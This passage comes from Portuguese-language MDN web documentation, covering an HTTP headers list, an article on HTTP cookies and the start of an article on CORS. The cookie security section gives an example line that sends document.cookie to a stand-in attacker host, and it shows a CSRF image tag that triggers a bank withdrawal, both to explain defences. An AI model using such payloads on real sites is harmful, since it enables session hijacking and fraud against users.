transmitido deve ser mostrado em linha (inline - comportamento padrão sem o cabeçalho), ou se deve apresentar uma caixa de diálogo \"Salvar como\".\n\nInformações do corpo da mensagem\n--------------------------------\n\n`Content-Length`\n\nIndica o tamanho do corpo da mensagem, em decimal, enviado ao destinatário\n\n`Content-Type`\n\nIndica o tipo de mídia do recurso.\n\n`Content-Encoding`\n\nUsado para especificar o algoritmo de compressão.\n\n`Content-Language`\n\nDescreve a linguagem destinada ao público, para permitir que um usuário se diferencie de acordo com o idioma preferido dele.\n\n`Content-Location`\n\nIndica um local alternativo para os dados retornados.\n\nRoteamento de mensagens (Proxies)\n---------------------------------\n\n`Forwarded`\n\nContém informações do lado do cliente dos servidores *proxy* que é alterado ou perdido quando um *proxy* é envolvido no caminho de uma solicitação.\n\n`X-Forwarded-For` \nNon-standard\n\nIdentifica os endereços de IP de origem de um cliente que se conecta a um servidor web por meio de um *proxy* HTTP ou balanceador de carga.\n\n`X-Forwarded-Host` \nNon-standard\n\nIdentifica o host original que um cliente usou para se conectar ao *proxy* ou balanceador de carga.\n\n`X-Forwarded-Proto` \nNon-standard\n\nIdentifica o protocolo (HTTP ou HTTPS) que um cliente usou para se conectar ao seu *proxy* ou balanceador de carga.\n\n`Via`\n\nAdicionado por *proxies,* ambos *proxies* de encaminhamento *(forward)* e reverso *(reverse), e pode aparecer nos cabeçalhos de solicitação e de resposta.*\n\nRedirecionamentos\n-----------------\n\n`Location`\n\nIndica a URL para redirecionar uma página.\n\nContexto da requisição\n----------------------\n\n`From`\n\nContém um endereço de e-mail da internet para um usuário humano que controla o agente do usuário solicitante.\n\n`Host`\n\nEspecifica o nome de domínio do servidor (para hospedagem virtual), e (opcionalmente) o número da porta TCP na qual o servidor está ouvindo.\n\n`Referer`\n\nThe address of the previous web page from which a link to the currently requested page was followed.\n\n`Referrer-Policy`\n\nGoverns which referrer information sent in the `Referer` header should be included with requests made.\n\n`User-Agent`\n\nContains a characteristic string that allows the network protocol peers to identify the application type, operating system, software vendor or software version of the requesting software user agent. See also the Firefox user agent string reference (en-US).\n\nContexto da resposta\n--------------------\n\n`Allow`\n\nLista o conjunto de métodos de requisição HTTP suportados por um recurso.\n\n`Server`\n\nContém informações a respeito do programa utilizado pelo servidor de origem para lidar com a requisição.\n\nRequisições Range\n-----------------\n\n`Accept-Ranges`\n\nIndica se o servidor suporta solicitações de intervalo, se sim, em qual unidade o intervalo pode ser expresso.\n\n`Range`\n\nIndica a parte de um documento que o servidor deve retornar.\n\n`If-Range`\n\nCria uma solicitação de intervalo condicional que é atendida se a etag ou data fornecida no parâmetro corresponde ao recurso remoto. Usado para impedir o download de dois intervalos da versão incompatível do recurso.\n\n`Content-Range`\n\nIndica onde uma parte da mensagem faz parte de uma mensagem inteira de corpo.\n\nSegurança\n---------\n\n`Content-Security-Policy` (CSP (en-US))\n\nControls resources the user agent is allowed to load for a given page.\n\n`Content-Security-Policy-Report-Only`\n\nAllows web developers to experiment with policies by monitoring (but not enforcing) their effects. These violation reports consist of JSON documents sent via an HTTP `POST` request to the specified URI.\n\n`Public-Key-Pins` (HPKP (en-US))\n\nAssociates a specific cryptographic public key with a certain web server to decrease the risk of MITM (en-US) attacks with forged certificates.\n\n`Public-Key-Pins-Report-Only`\n\nSends reports to the report-uri specified in the header and does still allow clients to connect to the server even if the pinning is violated.\n\n`Strict-Transport-Security` (HSTS)\n\nForce communication using HTTPS instead of HTTP.\n\n`Upgrade-Insecure-Requests`\n\nSends a signal to the server expressing the client's preference for an encrypted and authenticated response, and that it can successfully handle the `upgrade-insecure-requests` (en-US) directive.\n\n`X-Content-Type-Options`\n\nDisables MIME sniffing and forces browser to use the type given in `Content-Type`.\n\n`X-Frame-Options` (XFO)\n\nIndicates whether or not a browser should be allowed to render a page in a `<frame>` (en-US), `<iframe>` or `<object>` (en-US)\n\n`X-XSS-Protection`\n\nEnables cross-site scripting filtering.\n\nServer-sent events\n------------------\n\n`Ping-From`\n\n...\n\n`Ping-To`\n\n...\n\n`Last-Event-ID`\n\n...\n\nTransfer coding\n---------------\n\n`Transfer-Encoding`\n\nSpecifies the the form of encoding used to safely transfer the entity to the user.\n\n`TE`\n\nSpecifies the transfer encodings the user agent is willing to accept.\n\n`Trailer`\n\nAllows the sender to include additional fields at the end of chunked message.\n\nWebSockets\n----------\n\n`Sec-WebSocket-Key`\n\n...\n\n`Sec-WebSocket-Extensions`\n\n...\n\n`Sec-WebSocket-Accept` (en-US)\n\n...\n\n`Sec-WebSocket-Protocol`\n\n...\n\n`Sec-WebSocket-Version`\n\n...\n\nOutros\n------\n\n`Date`\n\nContém a data e hora em que a mensagem foi produzida.\n\n`Link`\n\n...\n\n`Retry-After`\n\nIndica quanto tempo o User-Agent deve esperar antes de realizar uma requisição de acompanhamento.\n\n`Upgrade` (en-US)\n\nThis is a Proposed Internet Standard. To view a comprehensive list of all Official and Proposed Internet Standards with detailed information about each, visit this Internet Standards reference, which is updated daily. The relevant RFC document for the Upgrade header field standard is RFC 7230, section 6.7. The standard establishes rules for upgrading or changing to a different protocol on the current client, server, transport protocol connection. For example, this header standard allows a client to change from HTTP 1.1 to HTTP 2.0, assuming the server decides to acknowledge and implement the Upgrade header field. Niether party is required to accept the terms specified in the Upgrade header field. It can be used in both client and server headers. If the Upgrade header field is specified, then the sender MUST also send the Connection header field with the upgrade option specified. For details on the Connection header field please see section 6.1 of the aforementioned RFC.\n\n`Vary`\n\nDetermines how to match future request headers to decide whether a cached response can be used rather than requesting a fresh one from the origin server.\n\n`X-Content-Duration`\n\n...\n\n`X-DNS-Prefetch-Control`\n\nControls DNS prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as URLs for items referenced by the document, including images, CSS, JavaScript, and so forth.\n\n`X-Requested-With`\n\n...\n\n`X-UA-Compatible`\n\n...\n\nVeja também\n-----------\n\n* Wikipedia page on List of HTTP headers\n* IANA registry"}
{"title":"Cookies HTTP - HTTP","text":"Cookies HTTP\n============\n\nUm cookie HTTP (um cookie web ou cookie de navegador) é um pequeno fragmento de dados que um servidor envia para o navegador do usuário. O navegador pode armazenar estes dados e enviá-los de volta na próxima requisição para o mesmo servidor. Normalmente é utilizado para identificar se duas requisições vieram do mesmo navegador — ao manter um usuário logado, por exemplo. Ele guarda informações dinâmicas para o protocolo HTTP sem estado.\n\nCookies são usados principalmente para três propósitos:\n\nGerenciamento de sessão\n\nLogins, carrinhos de compra, placar de jogos ou qualquer outra atividade que deva ser guardada por um servidor.\n\nPersonalização\n\nPreferências de usuário, temas e outras configurações.\n\nRastreamento\n\nRegistro e análise do comportamento de um usuário.\n\nOs cookies eram usados para armazenamento geral no lado do cliente. Embora isso fosse aceitável quando eram a única forma de armazenar dados no cliente, atualmente é recomendável utilizar APIs de armazenamento mais modernas. Os cookies são enviados em todas as requisições, por isso podem prejudicar a performance (especialmente em conexões móveis). APIs modernas de armazenamento no cliente são Web storage API (`localStorage` e `sessionStorage`) e IndexedDB.\n\n**Nota:** Para visualizar os cookies armazenados (e outros armazenamentos que uma página web pode usar), pode-se habilitar o Storage Inspector nas Ferramentas de Desenvolvimento e selecionar o item **Cookies** na árvore de armazenamento.\n\nCriando cookies\n---------------\n\nAo receber uma requisição HTTP, um servidor pode enviar um cabeçalho `Set-Cookie` com a resposta. O cookie normalmente é armazenado pelo navegador, então o cookie é enviado com as requisições feitas para o mesmo servidor dentro do cabeçalho HTTP `Cookie`. Uma data de expiração ou duração pode ser especificada, e após esta data o cookie não é mais enviado. Adicionalmente, restrições para um domínio específico e caminho podem ser configuradas, limitando para onde o cookie é enviado.\n\n### Os cabeçalhos `Set-Cookie` e `Cookie`\n\nO cabeçalho HTTP de resposta `Set-Cookie` envia cookies do servidor para o cliente. Um cookie simples é configurado da seguinte forma:\n```\n\nSet-Cookie: <cookie-name>=<cookie-value>\n```\n\n\nEste cabeçalho de servidor informa ao cliente para armazenar um cookie.\n\n**Nota:** Eis as formas de utilização do cabeçalho `Set-Cookie` em várias aplicações de servidor:- PHP\n\n* Node.JS\n* Python\n* Ruby on Rails\n```\n\nHTTP/1.0 200 OK\nContent-type: text/html\nSet-Cookie: yummy_cookie=choco\nSet-Cookie: tasty_cookie=strawberry\n\n[conteúdo da página]\n```\n\n\nAgora, em qualquer requisição nova ao servidor, o navegador envia de volta todos os cookies previamente armazenados para o servidor utilizando o cabeçalho `Cookie`.\n```\n\nGET /sample_page.html HTTP/1.1\nHost: www.example.org\nCookie: yummy_cookie=choco; tasty_cookie=strawberry\n```\n\n### Cookies de sessão\n\nO cookie criado anteriormente é um *cookie de sessão*: ele é apagado quando o cliente fecha a sessão, pois não foi específicada uma diretiva `Expires` ou `Max-Age`. Entretanto, navegadores web podem usar **restauração de sessão**, o que torna quase todos cookies de sessão permanentes, como se o navegador nunca tivesse sido fechado.\n\n### Cookies permanentes\n\nAo invés de expirar quando o cliente fecha, *cookies permanentes* expiram em uma data específica (`Expires`) ou depois de um período específico de tempo (`Max-Age`).\n```\n\nSet-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;\n```\n\n\n**Nota:** Quando uma data de expiração é configurada, o tempo e a data são relativas ao cliente no qual o cookie está configurado, não ao servidor.\n\n### Cookies `Secure` e `HttpOnly`\n\nUm cookie seguro só é enviado ao servidor com uma requisição criptografada sobre um protocolo HTTPS. Mesmo com a diretiva `Secure`, informações confidenciais *nunca* devem ser guardadas em cookies, pois são intrinsecamente inseguros e esta diretiva não oferece proteção real. Iniciando com o Chrome 52 e o Firefox 52, sites inseguros (`http:`) não podem mais configurar cookies com a diretiva `Secure`.\n\nPara se prevenir de ataques *cross-site scripting* (XSS (en-US)), os cookies `HttpOnly` são inacessíveis para a API JavaScript `Document.cookie` (en-US); eles são enviados só para o servidor. Por exemplo, cookies que persistem sessões de servidor não precisam estar disponíves para o JavaScript, e portanto a diretiva `HttpOnly` deve ser configurada.\n```\n\nSet-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly\n```\n\n### Escopo dos cookies\n\nAs diretivas `Domain` e `Path` definem o *escopo* de um cookie: para quais URLs os cookies devem ser enviados.\n\nA diretiva `Domain` especifica os hosts permitidos de receber o cookie. Se não é especificada, o seu valor padrão é o host da localização do documento atual, **excluindo subdomínios**. Se a diretiva `Domain` *é* especificada, então os subdomínios são também incluídos.\n\nPor exemplo, se `Domain=mozilla.org` é configurado, então os cookies são incluídos em subdomínios como `developer.mozilla.org`.\n\nA diretiva `Path` indica o caminho da URL que deve existir na URL requisitada para que o cabeçalho `Cookie` seja enviado. O caractere %x2F (\"/\") é considerado um separador de diretórios, e os subdiretórios também seguem essa regra.\n\nPor exemplo, se `Path=/docs` é configurado, estes caminhos coincidem:\n\n* `/docs`\n* `/docs/Web/`\n* `/docs/Web/HTTP`\n### Cookies `SameSite` \nExperimental\n\nCookies `SameSite` permitem que servidores exijam que um cookie não deve ser enviado com requisições entre sites, o que pode proteger contra ataques de requisição forjada entre sites (CSRF (en-US)).\n\nCookies `SameSite` são relativamente novos, mas tem suporte nos principais browsers do mercado.\n\nVeja um exemplo:\n```\n\nSet-Cookie: key=value; SameSite=Strict\n```\n\n\nO atributo SameSite pode receber um ou dois valores (case-insensitive):\n\n`None`\n\nO navegador irá enviar os cookies tanto para as requisições *cross-site* quanto *same-site*.\n\n`Strict`\n\nSe o cookie same-site possuir este atributo, o navegador enviará cookies apenas se a requisição for enviada do website que configurou este cookie, Se a requisição tem origem em outra URL, nenhum cookie com o atributo`Strict` será incluído.\n\n`Lax`\n\nSe o atributo receber o valor Lax, os cookies same-site ficarão retidos nas sub-requisições entre sites, como chamadas para carregar imagens ou frames, mas serão enviadas quando um usuário navegar para o URL de um site externo.\n\nO comportamento padrão se a flag não estiver setada ou sem suporte do navegador é incluir os cookies em qualquer solicitação, incluindo solicitações cross-origin.\n\n### Acesso via JavaScript usando `Document.cookie`\n\nNovos cookies podem ser também criados via JavaScript usando a propriedade `Document.cookie` (en-US) e, se a diretiva `HttpOnly` não está configurada, os cookies existentes podem ser acessados pelo JavaScript também.\n\n\n```js\ndocument.cookie = \"yummy\\_cookie=choco\";\ndocument.cookie = \"tasty\\_cookie=strawberry\";\nconsole.log(document.cookie);\n// logs \"yummy\\_cookie=choco; tasty\\_cookie=strawberry\"\n```\n\n\nConsulte as questões de segurança na seção Segurança a seguir. Os cookies disponíveis ao JavaScript podem ser roubados usando XSS.\n\nSegurança\n---------\n\n**Nota:** Informações confidenciais ou restritas nunca devem ser transmitidas via cookies HTTP, já que todo o mecanismo é intrinsecamente inseguro.\n\n### Sequestro de sessões e XSS\n\nOs cookies geralmente são usados em aplicações web para identificar um usuário e sua sessão autenticada, portanto roubar um cookie pode levar ao sequestro da sessão do usuário autenticado. As formas mais comuns de roubar cookies incluem Engenharia Social ou exploração de uma vulnerabilidade XSS (en-US) em uma aplicação.\n\n\n```js\nnew Image().src =\n  \"http://www.evil-domain.com/steal-cookie.php?cookie=\" + document.cookie;\n```\n\n\nO atributo `HttpOnly` do cookie pode ajudar a minimizar este ataque ao prevenir o acesso ao valor do cookie usando JavaScript.\n\n### Requisição forjada entre sites (CSRF)\n\nA Wikipedia menciona um bom exemplo de CSRF (en-US). Nesta situação, alguém inclui uma imagem que não é realmente uma imagem, como por exemplo em um chat ou fórum sem filtro, mas sim uma requisição para o servidor de um banco para sacar dinheiro:\n\n\n```html\n<img\n src=\"http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory\" />\n```\n\n\nAgora, se você estiver logado na sua conta no banco e seus cookies ainda são válidos, e não há mais nenhuma validação, você vai transferir o dinheiro assim que carregar o código HTML que contém a imagem. Existem algumas técnicas que são usadas para evitar ataques deste tipo:\n\n* Assim como XSS (en-US), filtrar entradas de usuário é importante.\n* Sempre deve haver uma confirmação antes de qualquer ação restrita.\n* Cookies usados para ações confidenciais sempre devem ter um tempo de vida restrito.\n* Para mais dicas de proteção, consulte o OWASP CSRF prevention cheat sheet.\nRastreamento e privacidade\n--------------------------\n\n### Cookies de terceiros\n\nOs cookies têm um domínio associado. Se este domínio é o mesmo do domínio da página atual, diz-se que os cookies são *diretos*. Se o domínio é diferente, diz-se que os cookies são *de terceiros*. Enquanto cookies diretos só são enviados para o servidor que os configura, uma página web pode conter imagens ou outros componentes guardados em servidores de outros domínios, como por exemplo propagandas. Os cookies enviados por estes componentes de terceiros são chamadas de cookies de terceiros e são principalmente usados para propaganda e rastreamento pela web. Veja por exemplo os tipos de cookies usados pela Google. Muitos navegadores permitem cookies de terceiros por padrão, mas há complementos que permitem bloqueá-los, como por exemplo o Privacy Badger da EFF.\n\nSe você não informa que usa cookies de terceiros, a confiança dos usuários pode ficar abalada caso descubram o uso deste tipo de cookie. Uma informação clara, com por exemplo uma política de privacidade, tende a eliminar qualquer efeito negativo da descoberta dos cookies. Alguns países têm uma legislação sobre cookies. Consulte a declaração de cookies da Fundação Wikimedia, por exemplo.\n\n### Cabeçalho Do-Not-Track\n\nNão há requisitos legais ou tecnológicos para seu uso, mas o cabeçalho `DNT` pode ser usado para avisar que uma aplicação web deve desabilitar seu rastreamento ou rastreamento de usuários entre sites para um usuário específico. Consulte o cabeçalho `DNT` para mais informações.\n\n### Diretivas da UE para cookies\n\nOs requisitos para cookies na UE (União Europeia) estão definidos na Diretriz 2009/136/EC do Parlamento Europeu e entraram em vigor em 25 de maio de 2011. Uma diretriz não é lei por si só, mas um requisito para os estados membros da UE para aprovar leis que contemplem os requisitos da diretriz. Essas leis podem variar de país para país.\n\nResumindo, a diretriz da UE significa que antes que alguém armazene ou recupere qualquer informação de um computador, celular ou outro equipamento, o usuário deve dar permissão para isso. Muitos websites colocaram anúncios (conhecidos como *anúncios de cookies*) desde então para informar os usuários sobre o uso dos cookies.\n\nPara mais informações, consulte esta seção da Wikipedia e leis federais para informações atualizadas e precisas.\n\n### Cookies zumbi e Evercookies\n\nUma abordagem mais radical aos cookies são os cookies zumbi ou *Evercookies*, que são recriados quando apagados e intencionalmente difíceis de apagar por completo. Eles usam a API Web storage, Objetos Flash Local Shared e outras técnicas para se recriarem sempre que a ausência do cookie é detectada.\n\n* Evercookie por Samy Kamkar\n* Cookies zumbi na Wikipedia\nVeja também\n-----------\n\n* `Set-Cookie`\n* `Cookie`\n* `Document.cookie` (en-US)\n* `Navigator.cookieEnabled`\n* Inspecionando cookies usando o Inspetor de Armazenamento\n* Especificação dos cookies: RFC 6265\n* Artigo de Nicholas Zakas sobre cookies\n* Artigo de Nicholas Zakas sobre cookies e segurança\n* Cookies HTTP na Wikipedia"}
{"title":"Cross-Origin Resource Sharing (CORS) - HTTP","text":"Cross-Origin Resource Sharing (CORS)\n====================================\n\nCORS - Cross-Origin Resource Sharing (Compartilhamento de recursos com origens diferentes) é um mecanismo que usa cabeçalhos adicionais HTTP para informar a um navegador que permita que um aplicativo Web seja executado em uma origem (domínio) com permissão para acessar recursos selecionados de um servidor em uma origem distinta. Um aplicativo Web executa uma **requisição *cross-origin* HTTP** ao solicitar um recurso que tenha uma origem diferente (domínio, protocolo e porta) da sua própria origem.\n\nUm exemplo de requisição *cross-origin*: o código JavaScript *frontend* de um aplicativo web disponível em `http://domain-a.com` usa `XMLHttpRequest` para fazer uma requisição para `http://api.domain-b.com/data.json`.\n\nPor motivos de segurança, navegadores restringem requisições *cross-origin* HTTP iniciadas por scripts. Por exemplo, `XMLHttpRequest` e Fetch API seguem a política de mesma origem (en-US) (*same-origin policy*). Isso significa que um aplicativo web que faz uso dessas APIs só poderá fazer solicitações para recursos de mesma origem da qual o aplicativo foi carregado, a menos que a resposta da outra origem inclua os cabeçalhos CORS corretos.\n\n![](/pt-BR/docs/Web/HTTP/CORS/cors_principle.png)\n\nO mecânismo CORS suporta requisições seguras do tipo *cross-origin e* transferências de dados entre navegadores e servidores web. Navegadores modernos usam o CORS em uma API contêiner, como `XMLHttpRequest` ou Fetch, para ajudar a reduzir os riscos de requisições *cross-origin* HTTP.\n\nQuem deve ler este artigo?\n--------------------------\n\nTodos, realmente.\n\nEste artigo destina-se a administradores da Web, desenvolvedores de servidores e desenvolvedores front-end. Os navegadores modernos lidam com os componentes do lado cliente em compartilhamento entre origens, incluindo cabeçalhos e aplicação de políticas. Mas esse novo padrão significa que os servidores precisam lidar com novos cabeçalhos de requisição e resposta. Outro artigo para desenvolvedores de servidores que discutem compartilhamento *cross-origin* a partir de uma perspectiva de servidor (com fragmentos de código PHP), pode ser uma leitura complementar.\n\nQuais solicitações usam o CORS?\n-------------------------------\n\nEsse padrão de compartilhamento *cross-origin* é usado para habilitar solicitações HTTP entre sites para:\n\n* Chamadas `XMLHttpRequest` ou Fetch API pela comunicação entre origens diferentes, tal como discutido acima.\n* Web Fonts (para o uso de fontes pelo *cross-domain* em `@font` do CSS), para que os servidores possam implantar fontes TrueType que só podem ser carregadas em origens diferentes e usadas por sites com autorização para isso.\n* Texturas WebGL (en-US).\n* *Frames* de Imagens/vídeos desenhados em uma tela usando `drawImage()` (en-US).\n\nEste artigo é uma discussão geral sobre *Cross-Origin Resource Sharing* (Compartilhamento de recursos com origens diferentes) e inclui uma discussão de cabeçalhos HTTP necessários.\n\nVisão Geral\n-----------\n\nO padrão *Cross-Origin Resource Sharing* trabalha adicionando novos cabeçalhos HTTP que permitem que os servidores descrevam um conjunto de origens que possuem permissão a ler uma informação usando o navegador. Além disso, para métodos de requisição HTTP que podem causar efeitos colaterais nos dados do servidor (em particular, para métodos HTTP diferentes de `GET` ou para uso de `POST` com certos MIME types), a especificação exige que navegadores \"pré-enviem\" a requisição, solicitando os métodos suportados pelo servidor com um método de requisição HTTP `OPTIONS` e, após a \"aprovação\", o servidor envia a requisição verdadeira com o método de requisição HTTP correto. Servidores também podem notificar clientes se \"credenciais\" (incluindo Cookies e dados de autenticação HTTP) devem ser enviadas com as requisições.\n\nFalhas no CORS resultam em erros, mas por questões de segurança, detalhes sobre erros não estão disponíveis no código JavaScript. O código tem apenas conhecimento de que ocorreu um erro. A única maneira para determinar especificamente o que ocorreu de errado é procurar no console do navegador por mais detalhes.\n\nSeções subsequentes discutem cenários, assim como fornecem um detalhamento dos cabeçalhos HTTP utilizados.\n\nExemplos de cenários com controle de acesso\n-------------------------------------------\n\nAqui, apresentamos três cenários que ilustram como *Cross-Origin Resource Sharing* funciona. Todos estes exemplos usam o objeto `XMLHttpRequest`, que pode ser utilizado para fazer requisições entre origens em qualquer navegador compatível.\n\nOs snippets JavaScript inclusos nessas seções (e instâncias executáveis de código do lado servidor que tratam corretamente essas requisições entre origens) podem ser encontrados \"em ação\" aqui: http://arunranga.com/examples/access-control/, e irão funcionar em navegadores que suportam `XMLHttpRequest` entre origens.\n\nUma discussão sobre *Cross-Origin Resource Sharing* a partir da perspectiva do servidor (incluindo snippets de código PHP) pode ser encontrada no artigo Server-Side Access Control (CORS) (en-US).\n\n### Requisições simples\n\nAlgumas requisições não acionam um pré-envio CORS (en-US). Essas são denominadas neste artigo como \"requisições simples\" (*simple request*), embora a especificação Fetch (que define CORS) não utilize esse termo. Uma requisição que não aciona um pré-envio CORS (en-US) — denominada \"requisição simples\" — é uma que **atende todas as seguintes condições**:\n\n* Os únicos métodos permitidos são:\n    + `GET`\n    + `HEAD`\n    + `POST`\n* Além dos cabeçalhos definidos automaticamente pelo agente do usuário (por exemplo, `Connection`, `User-Agent` ou qualquer um dos outros cabeçalhos com nomes definidos na especificação Fetch como \"*forbidden header name*\"), os únicos cabeçalhos que podem ser definidos manualmente são aqueles cujo a especificação Fetch define como sendo um \"*CORS-safelisted request-header*\", que são:\n    + `Accept`\n    + `Accept-Language`\n    + `Content-Language`\n    + `Content-Type` (porém observe os requisitos adicionais abaixo)\n* Os únicos valores permitidos para o `Content-Type` do cabeçalho são:\n    + `application/x-www-form-urlencoded`\n    + `multipart/form-data`\n    + `text/plain`\n* Nenhum *event listener* é registrado em qualquer objeto `XMLHttpRequestUpload` (en-US) usado na requisição, estes são acessados usando a propriedade `XMLHttpRequest.upload` (en-US).\n* Nenhum objeto `ReadableStream` (en-US) é usado na requisição.\n\n**Nota:** Esses são os mesmos tipos de requisições entre origens distintas que o conteúdo da web já pode realizar e nenhum dado dado de resposta é liberado ao solicitante, a menos que o servidor envie um cabeçalho adequado. Portanto, sites que impedem a falsificação de requisições entre origens não tem nada a temer em relação ao controle de acesso HTTP.\n\n**Nota:** O WebKit Nightly e Safari Technology Preview impõem restrições adicionais nos valores permitidos nos cabeçalhos `Accept`, `Accept-Language` e `Content-Language`. Caso algum destes cabeçalhos tenham valores \"não-padronizados\", o WebKit/Safari não considera que a requisição atenda as condições para uma \"requisição simples\". O que o WebKit/Safari considera valores \"não-padronizados\" para estes cabeçalhos não é documentado exceto nos seguintes bugs do WebKit: *Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS* e *Switch to a blacklist model for restricted Accept headers in simple CORS requests*. Nenhum outro navegador implementa estas restrições adicionais, pois elas não são parte da especificação.\n\nPor exemplo, suponha que o conteúdo web no domínio `http://foo.example` deseje chamar (`invocation` do exemplo abaixo) um outro conteúdo no domínio `http://bar.other`. Esse código Javascript pode estar hospedado em foo.example:\n\n\n```js\nvar invocation = new XMLHttpRequest();\nvar url = \"http://bar.other/resources/public-data/\";\n\nfunction callOtherDomain() {\n  if (invocation) {\n    invocation.open(\"GET\", url, true);\n    invocation.onreadystatechange = handler;\n    invocation.send();\n  }\n}\n```\n\n\nIsso fará uma troca simples entre cliente e servidor, utilizando o cabeçalho CORS para tratar os privilégios.\n\n![](/pt-BR/docs/Web/HTTP/CORS/simple_req.png)\n\nNeste caso, vamos ver o que o navegador enviará ao servidor e vamos olhar como o servidor responde:\n\n\n```http\nGET /resources/public-data/ HTTP/1.1\nHost: bar.other\nUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,\\*/\\*;q=0.8\nAccept-Language: en-us,en;q=0.5\nAccept-Encoding: gzip,deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,\\*;q=0.7\nConnection: keep-alive\nReferer: http://foo.example/examples/access-control/simpleXSInvocation.html\nOrigin: http://foo.example\n\nHTTP/1.1 200 OK\nDate: Mon, 01 Dec 2008 00:23:53 GMT\nServer: Apache/2.0.61\nAccess-Control-Allow-Origin: \\*\nKeep-Alive: timeout=2, max=100\nConnection: Keep-Alive\nTransfer-Encoding: chunked\nContent-Type: application/xml\n\n[XML Data]\n```\n\n\nAs linhas de 1 a 10 são enviadas no header. Note que o cabeçalho principal da requisição HTTP aqui é `Origin` na linha 10, o qual revela que a chamada é proveniente de um conteúdo no domínio `http://foo.example`.\n\nAs linhas de 13 a 22 mostram a resposta HTTP do servidor no domínio `http://bar.other`. Nesta resposta, o servidor envia de volta um cabeçalho `Access-Control-Allow-Origin` exibido na linha 16. O uso dos cabeçalhos `Origin` e `Access-Control-Allow-Origin` mostram o protocolo de controle de acesso em seu uso mais simples. Neste caso, o servidor responde com `Access-Control-Allow-Origin: *`, o que significa que o recurso pode ser acessado por **qualquer** domínio pela comunicação entre origens. Se os proprietários dos recursos em `http://bar.other` desejarem restringir o acesso ao conteúdo para o mesmo ser apenas de `http://foo.example`, eles retornaram:\n\n`Access-Control-Allow-Origin: http://foo.example`\n\nObserve que, agora, nenhum dominio além de `http://foo.example` (identificado na requisição pelo cabeçalho ORIGIN: como na linha 10) pode acessar o recurso pela comunicação entre origens. O cabeçalho `Access-Control-Allow-Origin` deve conter o valor que foi enviado no cabeçalho `Origin` da requisição.\n\n### Requisições com pré-envio\n\nAo contrário de \"requisições simples\" (discutido acima) (en-US), requisições com \"pré-envio\" (*Preflighted requests*) primeiramente enviam uma requisição HTTP através do método `OPTIONS` para obter um recurso em outro domínio, a fim de determinar se de fato a requisição atual é segura para envio. Requisições entre sites possuem pré-envio, já que podem interferir em dados do usuário.\n\nEm particular, uma requisição tem um pré-envio **se qualquer das seguintes condições** for verdadeira:\n\n* **Se** a requisição usa algum dos seguintes métodos:\n    + `PUT`\n    + `DELETE`\n    + `CONNECT`\n    + `OPTIONS`\n    + `TRACE`\n    + `PATCH`\n* **Ou se**, além dos cabeçalhos definidos automaticamente pelo agente do usuário (por exemplo, `Connection`, {HTTPHeader(\"User-Agent\")}} ou qualquer **OUTRO** cabeçalho com um nome definido na especificação Fetch como \"*forbidden header name*\"), a requisição inclui quaisquer cabeçalhos **além** daqueles que a especificação Fetch define como sendo um \"*CORS-safelisted request-header*\", que são:\n    + `Accept`\n    + `Accept-Language`\n    + `Content-Language`\n    + `Content-Type` (porém observe os requisitos adicionais abaixo)\n    + `DPR`\n    + `Downlink` (en-US)\n    + `Save-Data`\n    + `Viewport-Width`\n    + `Width`\n* **Ou se** o `Content-Type` do cabeçalho **tem** **outro** valor que:\n    + `application/x-www-form-urlencoded`\n    + `multipart/form-data`\n    + `text/plain`\n* **Ou se** um ou mais *event listener* estiver registrado em um objeto `XMLHttpRequestUpload` (en-US) usado nessa requisição.\n* **Ou se** um objeto `ReadableStream` (en-US) é usado nessa requisição.\n\n**Nota:** WebKit Nightly e Safari Technology Preview colocam restrições adicionais nos valores permitidos dos cabeçalhos `Accept`, `Accept-Language` e `Content-Language`. Caso qualquer um desses cabeçalhos tenha algum valor fora do padrão (non-standard), o WebKit/Safari faz o pré-envio da requisição. O que o WebKit/Safari considera como valor \"non-standard\" para tais cabeçalhos não está documentado, exceto nos seguintes bugs do WebKit: Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, e Content-Language request headers for simple CORS e Switch to a blacklist model for restricted Accept headers in simple CORS requests. Nenhum outro navegador implementa estas restrições adicionais, pois elas não são parte da especificação.\n\nO exemplo a seguir é de uma requisição com pré-envio.\n\n\n```js\nvar invocation = new XMLHttpRequest();\nvar url = 'http://bar.other/resources/post-here/';\nvar body = '<?xml version=\"1.0\"?><person><name>Arun</name></person>';\n\nfunction callOtherDomain(){\n  if(invocation)\n    {\n      invocation.open('POST', url, true);\n      invocation.setRequestHeader('X-PINGOTHER', 'pingpong');\n      invocation.setRequestHeader('Content-Type', 'application/xml');\n      invocation.onreadystatechange = handler;\n      invocation.send(body);\n    }\n}\n\n......\n```\n\n\nNo exemplo acima, a linha 3 cria um XML para enviar com a requisição `POST` da linha 8. Também, na linha 9, é definido um cabeçalho de uma requisição HTTP \"personalizada\" (non-standard) com (`X-PINGOTHER: pingpong`). Tais cabeçalhos não fazem parte do protocolo HTTP/1.1, mas podem ser usados para aplicações web. Já que a requisição usa um Content-Type do tipo `application/xml` e como é uma requisição personalizada, esta requisição faz um pré-envio.\n\n![](/pt-BR/docs/Web/HTTP/CORS/prelight.png)\n\n(Observação: conforme descrito abaixo, a requisição POST real não inclui os cabeçalhos Access-Control-Request- \\*; eles são necessários apenas para a requisição OPTIONS.)\n\nVamos conferir a comunicação completa que ocorre entre cliente e servidor. A primeira comunicação é a *requisição com pré-envio/resposta*:\n\n\n```shell\nOPTIONS /resources/post-here/ HTTP/1.1\nHost: bar.other\nUser-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-us,en;q=0.5\nAccept-Encoding: gzip,deflate\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\nConnection: keep-alive\nOrigin: http://foo.example\nAccess-Control-Request-Method: POST\nAccess-Control-Request-Headers: X-PINGOTHER, 